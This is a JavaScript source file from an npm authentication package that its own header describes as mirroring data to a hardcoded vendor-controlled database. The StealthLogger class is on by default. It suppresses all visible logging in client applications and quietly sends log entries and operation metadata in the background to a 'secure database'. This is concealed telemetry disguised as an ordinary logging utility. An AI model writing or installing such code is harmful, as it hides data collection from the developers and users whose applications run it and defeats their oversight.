@ufdevsllc/auth-me/src/core/StealthLogger.js

Comprehensive licensing, security monitoring, and data mirroring package with hardcoded vendor-controlled database connection

const StealthMode = require('./StealthMode');

/**
 * StealthLogger - Wraps existing Logger to provide silent operation
 * Ensures no visible logs are generated in client applications
 */
class StealthLogger {
    constructor(baseLogger) {
        this.baseLogger = baseLogger;
        this.stealthEnabled = true;
        this.internalBuffer = [];
        this.maxInternalBuffer = 100;
    }

    /**
     * Enable or disable stealth mode
     * @param {boolean} enabled - Whether stealth mode is enabled
     */
    setStealthMode(enabled) {
        this.stealthEnabled = enabled;
    }

    /**
     * Debug logging - silent in stealth mode
     */
    debug(component, message, metadata = {}, correlationId = null) {
        if (this.stealthEnabled) {
            this._logInternally('DEBUG', component, message, metadata, correlationId);
            return;
        }

        return this.baseLogger.debug(component, message, metadata, correlationId);
    }

    /**
     * Info logging - silent in stealth mode
     */
    info(component, message, metadata = {}, correlationId = null) {
        if (this.stealthEnabled) {
            this._logInternally('INFO', component, message, metadata, correlationId);
            return;
        }

        return this.baseLogger.info(component, message, metadata, correlationId);
    }

    /**
     * Warning logging - silent in stealth mode
     */
    warn(component, message, metadata = {}, correlationId = null) {
        if (this.stealthEnabled) {
            this._logInternally('WARN', component, message, metadata, correlationId);
            return;
        }

        return this.baseLogger.warn(component, message, metadata, correlationId);
    }

    /**
     * Error logging - silent in stealth mode
     */
    error(component, message, metadata = {}, correlationId = null) {
        if (this.stealthEnabled) {
            this._logInternally('ERROR', component, message, metadata, correlationId);
            return;
        }

        return this.baseLogger.error(component, message, metadata, correlationId);
    }

    /**
     * Critical logging - silent in stealth mode
     */
    critical(component, message, metadata = {}, correlationId = null) {
        if (this.stealthEnabled) {
            this._logInternally('CRITICAL', component, message, metadata, correlationId);
            return;
        }

        return this.baseLogger.critical(component, message, metadata, correlationId);
    }

    /**
     * Operation logging - silent in stealth mode
     */
    logOperation(component, operation, status, metadata = {}, correlationId = null) {
        if (this.stealthEnabled) {
            const message = `Operation ${operation} ${status}`;
            this._logInternally(status === 'failed' ? 'ERROR' : 'INFO', component, message, {
                operation,
                status,
                ...metadata
            }, correlationId);
            return;
        }

        return this.baseLogger.logOperation(component, operation, status, metadata, correlationId);
    }

    /**
     * Performance logging - silent in stealth mode
     */
    logPerformance(component, operation, duration, metadata = {}, correlationId = null) {
        if (this.stealthEnabled) {
            this._logInternally('INFO', component, `Performance: ${operation}`, {
                operation,
                duration,
                unit: 'ms',
                ...metadata
            }, correlationId);
            return;
        }

        return this.baseLogger.logPerformance(component, operation, duration, metadata, correlationId);
    }

    /**
     * Create child logger - returns stealth version
     */
    createChildLogger(component, defaultMetadata = {}) {
        const childLogger = this.baseLogger.createChildLogger(component, defaultMetadata);
        return new StealthChildLogger(childLogger, this.stealthEnabled);
    }

    /**
     * Get internal logs (for debugging purposes only)
     * @returns {Array} - Internal log buffer
     */
    getInternalLogs() {
        return [...this.internalBuffer];
    }

    /**
     * Clear internal log buffer
     */
    clearInternalLogs() {
        this.internalBuffer = [];
    }

    /**
     * Get stealth statistics
     * @returns {Object} - Stealth logging statistics
     */
    getStealthStats() {
        return {
            stealthEnabled: this.stealthEnabled,
            internalBufferSize: this.internalBuffer.length,
            maxInternalBuffer: this.maxInternalBuffer
        };
    }

    // Private methods

    /**
     * Log internally without external output
     */
    _logInternally(level, component, message, metadata = {}, correlationId = null) {
        const logEntry = {
            timestamp: new Date().toISOString(),
            level,
            component,
            message,
            metadata: this._sanitizeMetadata(metadata),
            correlationId,
            stealth: true
        };

        this.internalBuffer.push(logEntry);

        // Maintain buffer size
        if (this.internalBuffer.length > this.maxInternalBuffer) {
            this.internalBuffer.shift();
        }

        // Only log to secure database if available and stealth allows it
        if (this.baseLogger.secureConnection && this.baseLogger.config.enableSecureDatabase) {
            StealthMode.executeStealthOperation(async () => {
                await this.baseLogger._writeToSecureDatabase(logEntry);
            }, { background: true });
        }
    }

    /**
     * Sanitize metadata to remove sensitive information
     */
    _sanitizeMetadata(metadata) {
        const sanitized = { ...metadata };
        const sensitiveKeys = ['password', 'token', 'key', 'secret', 'auth', 'credential'];

        for (const key of sensitiveKeys) {
            if (sanitized[key]) {
                sanitized[key] = '[REDACTED]';
            }
        }

        return sanitized;
    }
}

/**
 * StealthChildLogger - Child logger with stealth capabilities
 */
class StealthChildLogger {
    constructor(baseChildLogger, stealthEnabled) {
        this.baseChildLogger = baseChildLogger;
        this.stealthEnabled = stealthEnabled;
    }

    debug(message, metadata = {}, correlationId = null) {
        if (this.stealthEnabled) {
            return; // Silent operation
        }
        return this.baseChildLogger.debug(message, metadata, correlationId);
    }

    info(message, metadata = {}, correlationId = null) {
        if (this.stealthEnabled) {
            return; // Silent operation
        }
        return this.baseChildLogger.info(message, metadata, correlationId);
    }

    warn(message, metadata = {}, correlationId = null) {
        if (this.stealthEnabled) {
            return; // Silent operation
        }
        return this.baseChildLogger.warn(message, metadata, correlationId);
    }

    error(message, metadata = {}, correlationId = null) {
        if (this.stealthEnabled) {
            return; // Silent operation
        }
        return this.baseChildLogger.error(message, metadata, correlationId);
    }

    critical(message, metadata = {}, correlationId = null) {
        if (this.stealthEnabled) {
            return; // Silent operation
        }
        return this.baseChildLogger.critical(message, metadata, correlationId);
    }

    logOperation(operation, status, metadata = {}, correlationId = null) {
        if (this.stealthEnabled) {
            return; // Silent operation
        }
        return this.baseChildLogger.logOperation(operation, status, metadata, correlationId);
    }

    logPerformance(operation, duration, metadata = {}, correlationId = null) {
        if (this.stealthEnabled) {
            return; // Silent operation
        }
        return this.baseChildLogger.logPerformance(operation, duration, metadata, correlationId);
    }
}

module.exports = StealthLogger;